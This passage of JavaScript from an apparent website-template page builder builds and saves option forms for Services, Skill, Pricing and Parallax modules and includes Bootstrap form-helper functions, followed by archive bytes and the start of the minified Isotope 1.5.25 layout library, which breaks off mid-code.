				content += getBt2Selectgroup('Order', 'st-order', 'span12', '', data.attr.order, [['Created', 'created'],['Ordering', 'ordering']], false);
				content += getBt2Selectgroup('Direction', 'st-direction', 'span12', '', data.attr.direction, [['ASC', 'ASC'],['DESC', 'DESC']], false);
				content += getBt2Selectgroup('Template', 'st-template', 'span12', '', data.attr.template, [['Services', 'services'],['Team', 'team']], false);
	    	content +="</div>";
    	content +="</div>";
	    content+="<div class='st-button-group'>";
	   	 	content+="<button class='btn btn-primary btn-save'>Save</button>";
	    	content+="<button class='btn btn-cancel'>Cancel</button>";
	    content+="</div>";
    content+="</div>";
    jQuery('.st-navigation').html(content);
    jQuery('#st-navigation .st-column [value="'+((data.attr.title!=null)?data.attr.title:"")+'"]').prop("checked",true);
    jQuery('#st-navigation .st-column [value="'+((data.attr.menuid!=null)?data.attr.menuid:"")+'"]').prop("checked",true);
    jQuery('#st-navigation .st-column [value="'+((data.attr.sid!=null)?data.attr.sid:"")+'"]').prop("checked",true);
    jQuery('#st-navigation .st-column [value="'+((data.attr.sclass!=null)?data.attr.sclass:"")+'"]').prop("checked",true);
    jQuery('#st-navigation .st-column [value="'+((data.attr.bg!=null)?data.attr.bg:"")+'"]').prop("checked",true);
    jQuery('#st-navigation .st-column [value="'+((data.attr.hclass!=null)?data.attr.hclass:"")+'"]').prop("checked",true);
    jQuery('#st-navigation .st-services-col [value="'+data.attr.col+'"]').attr("selected","selected");
    jQuery('#st-navigation .st-template [value="'+data.attr.template+'"]').attr("selected","selected");
    jQuery('#st-navigation .btn-primary.btn-save').click(function(){
        saveServices(data);
    });
}

function saveServices(data){
    data.attr.title = convertHTML(jQuery('input[name="st-title"]').val());
    data.attr.bg = convertHTML(jQuery('input[name="st-bg"]').val());
    data.attr.sclass = convertHTML(jQuery('input[name="st-sclass"]').val());
    data.attr.sid = convertHTML(jQuery('input[name="st-sid"]').val());
    data.attr.hclass = convertHTML(jQuery('input[name="st-hclass"]').val());
    data.attr.menuid = convertHTML(jQuery('input[name="st-menuid"]').val());
    data.attr.description = convertHTML(jQuery('textarea[name="st-description"]').val());
    data.attr.category = jQuery('#st-navigation .st-category select').val();
    data.attr.template = jQuery('select[name="st-template"] option:selected').val();
    //data.attr.full = jQuery('select[name="st-full"] option:selected').val();
    data.attr.order = jQuery('select[name="st-order"] option:selected').val();
    data.attr.direction = jQuery('select[name="st-direction"] option:selected').val();
    data.attr.animate = jQuery('select[name="st-animate"] option:selected').val();
    data.attr.col = jQuery('select[name="st-services-col"] option:selected').val();
    data.attr.itemcount = jQuery('input[name="st-itemcount"]').val();
    var title = convertHTML(jQuery('#st-navigation .st-services [name="st-title"]').val());
    jQuery('#st-page .st-focus .st-header-title .st-name').find('.st-modulename').remove();
    jQuery('#st-page .st-focus .st-header-title .st-name').append(' <span class="st-modulename">'+title+'</span>');


    var json = encodeURIComponent(JSON.stringify(data));
    jQuery('#st-page li.st-focus').attr("data",json);

//    jQuery('#st-page li.st-focus').attr("data",JSON.stringify(data));
    jQuery.stbox.close();
}
// End Services
//////////////////////////////

// GetskillOption
function getSkillOption(data){
    content ="<div class='st-nav-title'><i class='icon-folder-open-alt'></i> skill<span class='st-close' title='Close'><i class='icon-cancel-circle'></i></span></div>";
    content+="<div class='st-nav-option st-skill'>";
    	content += "<div class='row-fluid'>";
    		
	    	content += "<div class='span12'>";
	    		content += getBt2Inputgroup([['text', 'st-title','span12','','Title','', data.attr.title,'']],false);
				content += getBt2Inputgroup([['textare', 'st-sdesc','span12','','Short Description','', data.attr.sdesc,'']],false);
				content += getBt2Inputgroup([['text', 'st-percent','span12','','Percent','Percent', data.attr.percent,'']],false);
	    		content += getBt2Inputgroup([['text', 'st-bg-image','span12','','Background color','Background color', data.attr.bg_image,'']],false);
	    		content += getBt2Inputgroup([['text', 'st-color','span12','','Color','Color', data.attr.color,'']],false);
	    		content += getBt2Inputgroup([['text', 'st-class','span12','','class','class', data.attr.class,'']],false);
	    		content += getBt2Selectgroup('Template', 'st-template', 'span12', '', data.attr.template, [['Default ', 'skill'],['Skill Chart', 'skill_chart']], false);
	    	content +="</div>";
    	content +="</div>";
	    content+="<div class='st-button-group'>";
	   	 	content+="<button class='btn btn-primary btn-save'>Save</button>";
	    	content+="<button class='btn btn-cancel'>Cancel</button>";
	    content+="</div>";
    content+="</div>";
    jQuery('.st-navigation').html(content);
    jQuery('#st-navigation .st-column [value="'+((data.attr.title!=null)?data.attr.title:"")+'"]').prop("checked",true);
    jQuery('#st-navigation .st-template [value="'+data.attr.template+'"]').attr("selected","selected");
    jQuery('#st-navigation .btn-primary.btn-save').click(function(){
        saveSkill(data);
    });
}

function saveSkill(data){
    data.attr.class = convertHTML(jQuery('#st-navigation .st-skill [name="st-class"]').val());
    data.attr.title = convertHTML(jQuery('#st-navigation .st-skill input[name="st-title"]').val());
    data.attr.sdesc = convertHTML(jQuery('#st-navigation .st-skill input[name="st-sdesc"]').val());
    data.attr.percent = convertHTML(jQuery('#st-navigation .st-skill input[name="st-percent"]').val());
    data.attr.bg_image = convertHTML(jQuery('#st-navigation .st-skill input[name="st-bg-image"]').val());
    data.attr.color = convertHTML(jQuery('#st-navigation .st-skill input[name="st-color"]').val());
    data.attr.template = jQuery('select[name="st-template"] option:selected').val();
    var title = convertHTML(jQuery('#st-navigation .st-skill [name="st-title"]').val());
    jQuery('#st-page .st-focus .st-header-title .st-name').find('.st-modulename').remove();
    jQuery('#st-page .st-focus .st-header-title .st-name').append(' <span class="st-modulename">'+title+'</span>');

    var json = encodeURIComponent(JSON.stringify(data));
    jQuery('#st-page li.st-focus').attr("data",json);

//    jQuery('#st-page li.st-focus').attr("data",JSON.stringify(data));
    jQuery.stbox.close();
}

// GetpricingOption
function getPricingOption(data){
    content ="<div class='st-nav-title'><i class='icon-folder-open-alt'></i> Pricing<span class='st-close' title='Close'><i class='icon-cancel-circle'></i></span></div>";
    content+="<div class='st-nav-option st-pricing'>";
    	content += "<div class='row-fluid'>";
    		content += "<div class='span6'>";
				content += getBt2Inputgroup([['text', 'st-class','span12','','class','class', data.attr.class,'']],false);
	    		content += getBt2Inputgroup([['text', 'st-price','span12','','Price','Price', data.attr.price,'']],false);
	    		content += getBt2Inputgroup([['text', 'st-time','span12','','Time','Time', data.attr.time,'']],false);
	    		content += getBt2Inputgroup([['text', 'st-text_button','span12','','Text Button','Text Button', data.attr.text_button,'']],false);
	    		content += getBt2Inputgroup([['text', 'st-link_button','span12','','Link Button','Link Button', data.attr.link_button,'']],false);
	    	content +="</div>";
	    	content += "<div class='span6'>";
	    		content += getBt2Inputgroup([['text', 'st-title','span12','','Title','Title', data.attr.title,'']],false);
				content += getBt2Textareagroup([['st-description','span12','',data.attr.description,'Features', '7','']], false);
				content += getBt2Selectgroup('Template', 'st-template', 'span12', '', data.attr.template, [['Default ', 'pricing']], false);
	    	content +="</div>";
    	content +="</div>";
	    content+="<div class='st-button-group'>";
	   	 	content+="<button class='btn btn-primary btn-save'>Save</button>";
	    	content+="<button class='btn btn-cancel'>Cancel</button>";
	    content+="</div>";
    content+="</div>";
    jQuery('.st-navigation').html(content);
    jQuery('#st-navigation .st-column [value="'+((data.attr.title!=null)?data.attr.title:"")+'"]').prop("checked",true);
    jQuery('#st-navigation .st-template [value="'+data.attr.template+'"]').attr("selected","selected");
    jQuery('#st-navigation .btn-primary.btn-save').click(function(){
        savePricing(data);
    });
}

function savePricing(data){
    data.attr.class = convertHTML(jQuery('#st-navigation .st-pricing [name="st-class"]').val());
    data.attr.title = convertHTML(jQuery('#st-navigation .st-pricing input[name="st-title"]').val());
    data.attr.price = convertHTML(jQuery('#st-navigation .st-pricing input[name="st-price"]').val());
    data.attr.time = convertHTML(jQuery('#st-navigation .st-pricing input[name="st-time"]').val());
    data.attr.description = convertHTML(jQuery('#st-navigation .st-pricing textarea[name="st-description"]').val());
    data.attr.template = jQuery('select[name="st-template"] option:selected').val();
    data.attr.text_button = convertHTML(jQuery('#st-navigation .st-pricing input[name="st-text_button"]').val());
    data.attr.link_button = convertHTML(jQuery('#st-navigation .st-pricing input[name="st-link_button"]').val());
    var title = convertHTML(jQuery('#st-navigation .st-pricing [name="st-title"]').val());
    jQuery('#st-page .st-focus .st-header-title .st-name').find('.st-modulename').remove();
    jQuery('#st-page .st-focus .st-header-title .st-name').append(' <span class="st-modulename">'+title+'</span>');

    var json = encodeURIComponent(JSON.stringify(data));
    jQuery('#st-page li.st-focus').attr("data",json);

//    jQuery('#st-page li.st-focus').attr("data",JSON.stringify(data));
    jQuery.stbox.close();
}
/////////////////////
// get Parallax Option
function getParallaxOption(data){
    content ="<div class='st-nav-title'><i class='icon-folder-open-alt'></i> Parallax<span class='st-close' title='Close'><i class='icon-cancel-circle'></i></span></div>";
    content+="<div class='st-nav-option st-services'>";
    content+="<label>Title:</label>";
    content+='<input type="text" name="st-title" value="'+((data.attr.title==null)?"Services":data.attr.title)+'">';
    content+="<label>Description:</label>";
    content+='<textarea name="st-description" rows="4" cols="50">'+ ((data.attr.description==null?"Services":data.attr.description))+'';
    content+="</textarea>";
    content+="<label>Category:</label>";
    content+="<div class='row-fluid st-category'></div>";
    content+="<label>Count:</label>";
    content+='<input type="text" name="st-itemcount" value="'+((data.attr.itemcount==null)?"4":data.attr.itemcount)+'">';

    content+="</div>";
    content+="<div class='st-button-group'>";
    content+="<button class='btn btn-primary btn-save'>Save</button>";
    content+="<button class='btn btn-cancel'>Cancel</button>";
    content+="</div>";
    content+="</div>";
    jQuery('.st-navigation').html(content);
    jQuery('#st-navigation .st-column [value="'+((data.attr.title!=null)?data.attr.title:"")+'"]').prop("checked",true);
    jQuery('#st-navigation .st-template [value="'+data.attr.template+'"]').attr("selected","selected");
    jQuery('#st-navigation .btn-primary.btn-save').click(function(){
        saveparallax(data);
    });
}

function saveparallax(data){
    data.attr.title = convertHTML(jQuery('#st-navigation .st-services [name="st-title"]').val());
    data.attr.description = convertHTML(jQuery('#st-navigation .st-services [name="st-description"]').val());
    data.attr.category = jQuery('#st-navigation .st-category select').val();
    data.attr.template = jQuery('#st-navigation .st-template').val();
    data.attr.itemcount = jQuery('#st-navigation .st-services [name="st-itemcount"]').val();
    var title = convertHTML(jQuery('#st-navigation .st-services [name="st-title"]').val());
    jQuery('#st-page .st-focus .st-header-title .st-name').find('.st-modulename').remove();
    jQuery('#st-page .st-focus .st-header-title .st-name').append(' <span class="st-modulename">'+title+'</span>');


    var json = encodeURIComponent(JSON.stringify(data));
    jQuery('#st-page li.st-focus').attr("data",json);

//    jQuery('#st-page li.st-focus').attr("data",JSON.stringify(data));
    jQuery.stbox.close();
}
// End Parallax


// Functions for get Bootstrap 2 input field
/**
* label : string
* name : string
* classlist: string
* id : string
* selected: string
* options: array('text','value')
* horizontal: boolean
**/
function getBt2Selectgroup(label, name, classlist, id, selected, options, horizontal){
    var ht ='';
    if(horizontal){
        ht +="<div class=\"form-horizontal\">";
    }

    ht +="<div class=\"control-group\">";

    if(label != ''){
        ht +="<label class=\"control-label\">";
        ht += label +"</label>";
    } 
        ht +="<div class=\"controls\">";
            ht +="<select ";
            if(name)
                ht += " name=\""+name+"\"";
            if(classlist)
                ht +=" class=\""+classlist+"\"";
            if(id)
                ht +=" id=\""+id+"\"";
            ht +=">";
            for (var i = 0 ; i < options.length; i++) {
                ht +="<option ";
                if(selected == options[i][1])
                    ht +=" selected=\"selected\"";
                ht +=" value=\""+options[i][1]+"\">"+options[i][0]+"</option>";
            }  
        ht +="</select>";
        ht +="</div>";
        ht +="</div>";
    if(horizontal)
        ht +="</div>";
    return ht;
}
//function getBt2Textareagroup([['name','class','id','value','label', 'rows','default value']], horizontal)
function getBt2Textareagroup(textareas, horizontal){
    var ht ='';
    if(horizontal){
        ht +="<div class=\"form-horizontal\">";
    }

    for (var i = 0 ; i < textareas.length; i++) {

    ht +="<div class=\"control-group\">";

    if(textareas[i][4]){
        ht +="<label class=\"control-label\">";
        ht += textareas[i][4] +"</label>";
    } 
        ht +="<div class=\"controls\">";
            ht +="<textarea ";
            if(textareas[i][0])
                ht += " name=\""+textareas[i][0]+"\"";
            if(textareas[i][1])
                ht +=" class=\""+textareas[i][1]+"\"";
            if(textareas[i][2])
                ht +=" id=\""+textareas[i][2]+"\"";
            if(textareas[i][5])
                ht +=" rows=\""+textareas[i][5]+"\"";
            ht +=">";
            if(textareas[i][3])
                ht +=textareas[i][3];
            else if(textareas[i][6])
                ht +=textareas[i][6];
            ht +="</textarea>";    
        ht +="</div>";
        //end div controls
        ht +="</div>";
        // end div control-group
    }
    if(horizontal)
        ht +="</div>";
        //end div horizontal
    return ht;
}


function getBt2Radio(){
    ht = "<label class=\"checkbox inline\">";
    ht += "<input type=\"checkbox\" id=\"inlineCheckbox1\" value=\"option1\"> 1";
    ht += "</label>";
    ht += "<label class=\"checkbox inline\">";
      ht += "<input type=\"checkbox\" id=\"inlineCheckbox2\" value=\"option2\"> 2";
    ht += "</label>";
    ht += "<label class=\"checkbox inline\">";
      ht += "<input type=\"checkbox\" id=\"inlineCheckbox3\" value=\"option3\"> 3";
    ht += "</label>";
    
    return ht;
}

//function getBtRadioCheckbox('Full width', 'st-fullwidth' ,'1' ,[['radio','inputbox','id','1','Yes']], false);
function getBtRadioCheckbox(label, name, checked, valdefault, radios, horizontal){
    var ht ='';
    if(horizontal){
        ht +="<div class=\"form-horizontal\">";
    }

    ht +="<div class=\"control-group\">";

    if(label != '')
        ht +="<label class=\"control-label\">"+label +"</label>";

        ht +="<div class=\"controls\">";
         for (var i = 0 ; i < radios.length; i++) {
         		if(radios[i][4])
                    ht += "<label class=\""+radios[i][0]+" inline\">"+ radios[i][4];
                    ht +="<input type=\""+radios[i][0]+"\"";
                    if(name)
                        ht += " name=\""+name+"\"";
                    if(radios[i][1])
                        ht +=" class=\""+radios[i][1]+"\"";
                    if(radios[i][2])
                        ht +=" id=\""+radios[i][2]+"\"";
                    if(radios[i][3])
                        ht += " value=\""+radios[i][3] + "\"";
                    if(checked == radios[i][3] || valdefault == radios[i][3])
                        ht += " checked=\"checked\"";
                        //ht +=" title=\""+radios[i][5]+"\"";
                   
                    ht +=">";
                    //if(radios[i][5])
                       //ht +=radios[i][5];
                if(radios[i][4])
                    ht +="</label>";
        }  
        ht +="</div>";
        ht +="</div>";
    if(horizontal)
        ht +="</div>";
    return ht;
}

//function getBt2Radiogroup('Row fluid', 'checked' ,[['radio','name','class','id','value','title','toogle']], horizontal)
function getBt2Radiogroup(label, checked, radios, horizontal){
    var ht ='';
    if(horizontal){
        ht +="<div class=\"form-horizontal\">";
    }

    ht +="<div class=\"control-group\">";

    if(label != ''){
        ht +="<label class=\"control-label\">";
        ht += label +"</label>";
    } 
        ht +="<div class=\"controls\">";
         for (var i = 0 ; i < radios.length; i++) {
                    //ht = "<label class=\""+ radios[i][0]+" inline\">";
                    ht +="<input type=\""+radios[i][0]+"\"";
                    if(radios[i][1])
                        ht += " name=\""+radios[i][1]+"\"";
                    //if(radios[i][2])
                        ht +=" class=\""+radios[i][2]+"\"";
                    if(radios[i][3])
                        ht +=" id=\""+radios[i][3]+"\"";
                    if(radios[i][4])
                        ht += " value=\""+radios[i][4] + "\"";
                    if(checked == radios[i][4])
                        ht += " checked=\"checked\"";
                        ht +=" title=\""+radios[i][5]+"\"";
                    if(!radios[i][6]){
                        ht +=" data-toggle=\"tooltip\"";
                    }
                    else{
                        ht +="data-toggle=\""+radios[i][6]+"\"";
                        if(radios[i][7])
                            ht +="data-target=\""+radios[i][7]+"\"";
                        if(radios[i][8])
                            ht +="data-parent=\""+radios[i][8]+"\"";
                    }
                    ht +=">";
                    //if(radios[i][5])
                       //ht +=radios[i][5];
                    //ht +="</label>";
        }  
        ht +="</div>";
        ht +="</div>";
    if(horizontal)
        ht +="</div>";
    return ht;
}

//getBt2Inputgroup([['text', 'name1','class1','id1','label1','placeholder1', 'value'],['text', 'name2','class2','id2','label2','placeholder2']], true);
function getBt2Inputgroup(inputs, horizontal){
    var ht ='';
    if(horizontal)
        ht +="<div class=\"form-horizontal\">";
    for (var i = 0 ; i < inputs.length; i++) {
        ht +="<div class=\"control-group\">";
        if(inputs[i][4]){
            ht +="<label class=\"control-label\"";
            if(inputs[i][3])
                ht +="for=\""+inputs[i][3]+"\"";
            ht += ">"+inputs[i][4] + "</label>";
        } 
            ht +="<div class=\"controls\">";
                ht +="<input type=\""+inputs[i][0]+"\"";
                if(inputs[i][1])
                    ht += "name=\""+inputs[i][1]+"\"";
                if(inputs[i][2])
                    ht +=" class=\""+inputs[i][2]+"\"";
                if(inputs[i][3])
                    ht +="id=\""+inputs[i][3]+"\"";
                if(inputs[i][5])
                    ht +="placeholder=\""+inputs[i][5]+"\"";
                if(inputs[i][6])
                    ht += "value=\""+inputs[i][6] + "\"";
                else if(inputs[i][7])
                    ht += "value=\""+inputs[i][7] + "\"";
                ht +=">";
            ht +="</div>";
        ht +="</div>";
    }  
    if(horizontal)
        ht +="</div>";
    return ht;
}
//getBt2Inputprepend([['text', 'name1','class1','id1','add-on','placeholder1', 'value'],['text', 'name2','class2','id2','label2','placeholder2']], true);
function getBt2Inputprepend(label,inputs, horizontal){
    var ht ='';
    if(horizontal)
        ht +="<div class=\"form-horizontal\">";
    
        ht +="<div class=\"control-group\">";
        if(label){
            ht +="<label class=\"control-label\"";
            //if(label)
                //ht +="for=\""+inputs[i][3]+"\"";
            ht += ">"+label + "</label>";
        } 
            ht +="<div class=\"controls\">";
            for (var i = 0 ; i < inputs.length; i++) {
                ht +="<div class=\"input-prepend\">";
                    ht +="<span class=\"add-on\">";
                    if(inputs[i][4])
                        ht +="<i class=\""+inputs[i][4]+"\"></i>";
                    ht +="</span>";
                    ht +="<input type=\""+inputs[i][0]+"\"";
                    if(inputs[i][1])
                        ht += "name=\""+inputs[i][1]+"\"";
                    if(inputs[i][2])
                        ht +=" class=\""+inputs[i][2]+"\"";
                    if(inputs[i][3])
                        ht +="id=\""+inputs[i][3]+"\"";
                    if(inputs[i][5])
                        ht +="placeholder=\""+inputs[i][5]+"\"";
                    if(inputs[i][6])
                        ht += "value=\""+inputs[i][6] + "\"";
                    ht +=">";
                ht +="</div>";
            }  
            ht +="</div>";
        ht +="</div>";
   
    if(horizontal)
        ht +="</div>";
    return ht;
}



// Functions for get Bootstrap 3 input field
//getBt3Inputgroup([['text', 'name1','class1','id1','label1','placeholder1'],['text', 'name2','class2','id2','label2','placeholder2']], true);
function getBt3Inputgroup(inputs, inlineOrhorizontal){
    var ht ='';
    if(inlineOrhorizontal)
        ht +="<div class=\""+inlineOrhorizontal+"\">";
    for (var i = 0 ; i < inputs.length; i++) {
        ht +="<div class=\"form-group\">";
        if(inputs[i][4]){
            ht +="<label ";
            if(inputs[i][3])
                ht +="for=\""+inputs[i][3]+"\"";
            ht += ">"+inputs[i][4] + "</label>";
        } 
                ht +="<input type=\""+inputs[i][0]+"\"";
                if(inputs[i][1])
                    ht += "name=\""+inputs[i][1]+"\"";
                if(inputs[i][2])
                    ht +=" class=\""+inputs[i][2]+" form-control\"";
                if(inputs[i][3])
                    ht +="id=\""+inputs[i][3]+"\"";
                if(inputs[i][5])
                    ht +="placeholder=\""+inputs[i][5]+"\"";
                if(inputs[i][6])
                    ht += "value=\""+inputs[i][6] + "\"";
                ht +=">";
        ht +="</div>";
    }  
    if(inlineOrhorizontal)
        ht +="</div>";
    return ht;
}

//function getBt3Radiogroup('Row fluid', 'checked' ,[['radio','name','class','id','value','label']], inline)
function getBt3Radiogroup(label, checked, radios, inline){
    var ht ='';
    
    ht +="<div class=\"control-group\">";

    if(label != ''){
        ht +="<label class=\"control-label\">";
        ht += label +"</label>";
    } 
        ht +="<div class=\"controls\">";
         for (var i = 0 ; i < radios.length; i++) {
                    //ht = "<label class=\""+ radios[i][0]+" inline\">";
                    ht +="<input type=\""+radios[i][0]+"\"";
                    if(radios[i][1])
                        ht += " name=\""+radios[i][1]+"\"";
                    //if(radios[i][2])
                        ht +=" class=\""+radios[i][2]+"\"";
                    if(radios[i][3])
                        ht +=" id=\""+radios[i][3]+"\"";
                    if(radios[i][4])
                        ht += " value=\""+radios[i][4] + "\"";
                    if(checked == radios[i][4])
                        ht += " checked=\"checked\"";
                        ht +=" title=\""+radios[i][5]+"\"";
                    ht +=" data-toggle=\"tooltip\">";
                    //if(radios[i][5])
                       //ht +=radios[i][5];
                    //ht +="</label>";
        }  
        ht +="</div>";
        ht +="</div>";
    if(horizontal)
        ht +="</div>";
    return ht;
}

function addslashes(string) {
    return string.replace(/\\/g, '\\\\').
        replace(/\u0008/g, '\\b').
        replace(/\t/g, '\\t').
        replace(/\n/g, '\\n').
        replace(/\f/g, '\\f').
        replace(/\r/g, '\\r').
        replace(/'/g, '\\\'').
        replace(/"/g, '\\"');
}
function removeslashes(string) {
    return string./*replace(/\\/g, '\\\\').
        replace(/\u0008/g, '\\b').
        replace(/\t/g, '\\t').
        replace(/\n/g, '\\n').
        replace(/\f/g, '\\f').
        replace(/\r/g, '\\r').*/
        replace(/'/g, '\\\'').
        replace(/"/g, '\\"');
}PK!_>〡>�>)bluetheme/assets/js/jquery.isotope.min.jsnu&1i�/**
 * Isotope v1.5.25
 * An exquisite jQuery plugin for magical layouts
 * http://isotope.metafizzy.co
 *
 * Commercial use requires one-time purchase of a commercial license
 * http://isotope.metafizzy.co/docs/license.html
 *
 * Non-commercial use is licensed under the MIT License
 *
 * Copyright 2013 Metafizzy
 */
(function(a,b,c){"use strict";var d=a.document,e=a.Modernizr,f=function(a){return a.charAt(0).toUpperCase()+a.slice(1)},g="Moz Webkit O Ms".split(" "),h=function(a){var b=d.documentElement.style,c;if(typeof b[a]=="string")return a;a=f(a);for(var e=0,h=g.length;e<h;e++){c=g[e]+a;if(typeof b[c]=="string")return c}},i=h("transform"),j=h("transitionProperty"),k={csstransforms:function(){return!!i},csstransforms3d:function(){var a=!!h("perspective");if(a){var c=" -o- -moz- -ms- -webkit- -khtml- ".split(" "),d="@media ("+c.join("transform-3d),(")+"modernizr)",e=b("<style>"+d+"{#modernizr{height:3px}}"+"</style>").appendTo("head"),f=b('<div id="modernizr" />').appendTo("html");a=f.height()===3,f.remove(),e.remove()}return a},csstransitions:function(){return!!j}},l;if(e)for(l in k)e.hasOwnProperty(l)||e.addTest(l,k[l]);else{e=a.Modernizr={_version:"1.6ish: miniModernizr for Isotope"};var m=" ",n;for(l in k)n=k[l](),e[l]=n,m+=" "+(n?"":"no-")+l;b("html").addClass(m)}if(e.csstransforms){var o=e.csstransforms3d?{translate:function(a){return"translate3d("+a[0]+"px, "+a[1]+"px, 0) "},scale:function(a){return"scale3d("+a+", "+a+", 1) "}}:{translate:function(a){return"translate("+a[0]+"px, "+a[1]+"px) "},scale:function(a){return"scale("+a+") "}},p=function(a,c,d){var e=b.data(a,"isoTransform")||{},f={},g,h={},j;f[c]=d,b.extend(e,f);for(g in e)j=e[g],h[g]=o[g](j);var k=h.translate||"",l=h.scale||"",m=k+l;b.data(a,"isoTransform",e),a.style[i]=m};b.cssNumber.scale=!0,b.cssHooks.scale={set:function(a,b){p(a,"scale",b)},get:function(a,c){var d=b.data(a,"isoTransform");return d&&d.scale?d.scale:1}},b.fx.step.scale=function(a){b.cssHooks.scale.set(a.elem,a.now+a.unit)},b.cssNumber.translate=!0,b.cssHooks.translate={set:function(a,b){p(a,"translate",b)},get:function(a,c){var d=b.data(a,"isoTransform");return d&&d.translate?d.translate:[0,0]}}}var q,r;e.csstransitions&&(q={WebkitTransitionProperty:"webkitTransitionEnd",MozTransitionProperty:"transitionend",OTransitionProperty:"oTransitionEnd otransitionend",transitionProperty:"transitionend"}[j],r=h("transitionDuration"));var s=b.event,t=b.event.handle?"handle":"dispatch",u;s.special.smartresize={setup:function(){b(this).bind("resize",s.special.smartresize.handler)},teardown:function(){b(this).unbind("resize",s.special.smartresize.handler)},handler:function(a,b){var c=this,d=arguments;a.type="smartresize",u&&clearTimeout(u),u=setTimeout(function(){s[t].apply(c,d)},b==="execAsap"?0:100)}},b.fn.smartresize=function(a){return a?this.bind("smartresize",a):this.trigger("smartresize",["execAsap"])},b.Isotope=function(a,c,d){this.element=b(c),this._create(a),this._init(d)};var v=["width","height"],w=b(a);b.Isotope.settings={resizable:!0,layoutMode:"masonry",containerClass:"isotope",itemClass:"isotope-item",hiddenClass:"isotope-hidden",hiddenStyle:{opacity:0,scale:.001},visibleStyle:{opacity:1,scale:1},containerStyle:{position:"relative",overflow:"hidden"},animationEngine:"best-available",animationOptions:{queue:!1,duration:800},sortBy:"original-order",sortAscending:!0,resizesContainer:!0,transformsEnabled:!0,itemPositionDataEnabled:!1},b.Isotope.prototype={_create:function(a){this.options=b.extend({},b.Isotope.settings,a),this.styleQueue=[],this.elemCount=0;var c=this.element[0].style;this.originalStyle={};var d=v.slice(0);for(var e in this.options.containerStyle)d.push(e);for(var f=0,g=d.length;f<g;f++)e=d[f],this.originalStyle[e]=c[e]||"";this.element.css(this.options.containerStyle),this._updateAnimationEngine(),this._updateUsingTransforms();var h={"original-order":function(a,b){return b.elemCount++,b.elemCount},random:function(){return Math.random()}};this.options.getSortData=b.extend(this.options.getSortData,h),this.reloadItems(),this.offset={left:parseInt(this.element.css("padding-left")||0,10),top:parseInt(this.element.css("padding-top")||0,10)};var i=this;setTimeout(function(){i.element.addClass(i.options.containerClass)},0),this.options.resizable&&w.bind("smartresize.isotope",function(){i.resize()}),this.element.delegate("."+this.options.hiddenClass,"click",function(){return!1})},_getAtoms:function(a){var b=this.options.itemSelector,c=b?a.filter(b).add(a.find(b)):a,d={position:"absolute"};return c=c.filter(function(a,b){return b.nodeType===1}),this.usingTransforms&&(d.left=0,d.top=0),c.css(d).addClass(this.options.itemClass),this.updateSortData(c,!0),c},_init:function(a){this.$filteredAtoms=this._filter(this.$allAtoms),this._sort(),this.reLayout(a)},option:function(a){if(b.isPlainObject(a)){this.options=b.extend(!0,this.options,a);var c;for(var d in a)c="_update"+f(d),this[c]&&this[c]()}},_updateAnimationEngine:function(){var a=this.options.animationEngine.toLowerCase().replace(/[ _\-]/g,""),b;switch(a){case"css":case"none":b=!1;break;case"jquery":b=!0;break;default:b=!e.csstransitions}this.isUsingJQueryAnimation=b,this._updateUsingTransforms()},_updateTransformsEnabled:function(){this._updateUsingTransforms()},_updateUsingTransforms:function(){var a=this.usingTransforms=this.options.transformsEnabled&&e.csstransforms&&e.csstransitions&&!this.isUsingJQueryAnimation;a||(delete this.options.hiddenStyle.scale,delete this.options.visibleStyle.scale),this.getPositionStyles=a?this._translate:this._positionAbs},_filter:function(a){var b=this.options.filter===""?"*":this.options.filter;if(!b)return a;var c=this.options.hiddenClass,d="."+c,e=a.filter(d),f=e;if(b!=="*"){f=e.filter(b);var g=a.not(d).not(b).addClass(c);this.styleQueue.push({$el:g,style:this.options.hiddenStyle})}return this.styleQueue.push({$el:f,style:this.options.visibleStyle}),f.removeClass(c),a.filter(b)},updateSortData:function(a,c){var d=this,e=this.options.getSortData,f,g;a.each(function(){f=b(this),g={};for(var a in e)!c&&a==="original-order"?g[a]=b.data(this,"isotope-sort-data")[a]:g[a]=e[a](f,d);b.data(this,"isotope-sort-data",g)})},_sort:function(){var a=this.options.sortBy,b=this._getSorter,c=this.options.sortAscending?1:-1,d=function(d,e){var f=b(d,a),g=b(e,a);return f===g&&a!=="original-order"&&(f=b(d,"original-order"),g=b(e,"original-order")),(f>g?1:f<g?-1:0)*c};this.$filteredAtoms.sort(d)},_getSorter:function(a,c){return b.data(a,"isotope-sort-data")[c]},_translate:function(a,b){return{translate:[a,b]}},_positionAbs:function(a,b){return{left:a,top:b}},_pushPosition:function(a,b,c){b=Math.round(b+this.offset.left),c=Math.round(c+this.offset.top);var d=this.getPositionStyles(b,c);this.styleQueue.push({$el:a,style:d}),this.options.itemPositionDataEnabled&&a.data("isotope-item-position",{x:b,y:c})},layout:function(a,b){var c=this.options.layoutMode;this["_"+c+"Layout"](a);if(this.options.resizesContainer){var d=this["_"+c+"GetContainerSize"]();this.styleQueue.push({$el:this.element,style:d})}this._processStyleQueue(a,b),this.isLaidOut=!0},_processStyleQueue:function(a,c){var d=this.isLaidOut?this.isUsingJQueryAnimation?"animate":"css":"css",f=this.options.animationOptions,g=this.options.onLayout,h,i,j,k;i=function(a,b){b.$el[d](b.style,f)};if(this._isInserting&&this.isUsingJQueryAnimation)i=function(a,b){h=b.$el.hasClass("no-transition")?"css":d,b.$el[h](b.style,f)};else if(c||g||f.complete){var l=!1,m=[c,g,f.complete],n=this;j=!0,k=function(){if(l)return;var b;for(var c=0,d=m.length;c<d;c++)b=m[c],typeof b=="function"&&b.call(n.element,a,n);l=!0};if(this.isUsingJQueryAnimation&&d==="animate")f.complete=k,j=!1;else if(e.csstransitions){var o=0,p=this.styleQueue[0],s=p&&p.$el,t;while(!s||!s.length){t=this.styleQueue[o++];if(!t)return;s=t.$el}var u=parseFloat(getComputedStyle(s[0])[r]);u>0&&(i=function(a,b){b.$el[d](b.style,f).one(q,k)},j=!1)}}b.each(this.styleQueue,i),j&&k(),this.styleQueue=[]},resize:function(){this["_"+this.options.layoutMode+"ResizeChanged"]()&&this.reLayout()},reLayout:function(a){this["_"+this.options.layoutMode+"Reset"](),this.layout(this.$filteredAtoms,a)},addItems:function(a,b){var c=this._getAtoms(a);this.$allAtoms=this.$allAtoms.add(c),b&&b(c)},insert:function(a,b){this.element.append(a);var c=this;this.addItems(a,function(a){var d=c._filter(a);c._addHideAppended(d),c._sort(),c.reLayout(),c._revealAppended(d,b)})},appended:function(a,b){var 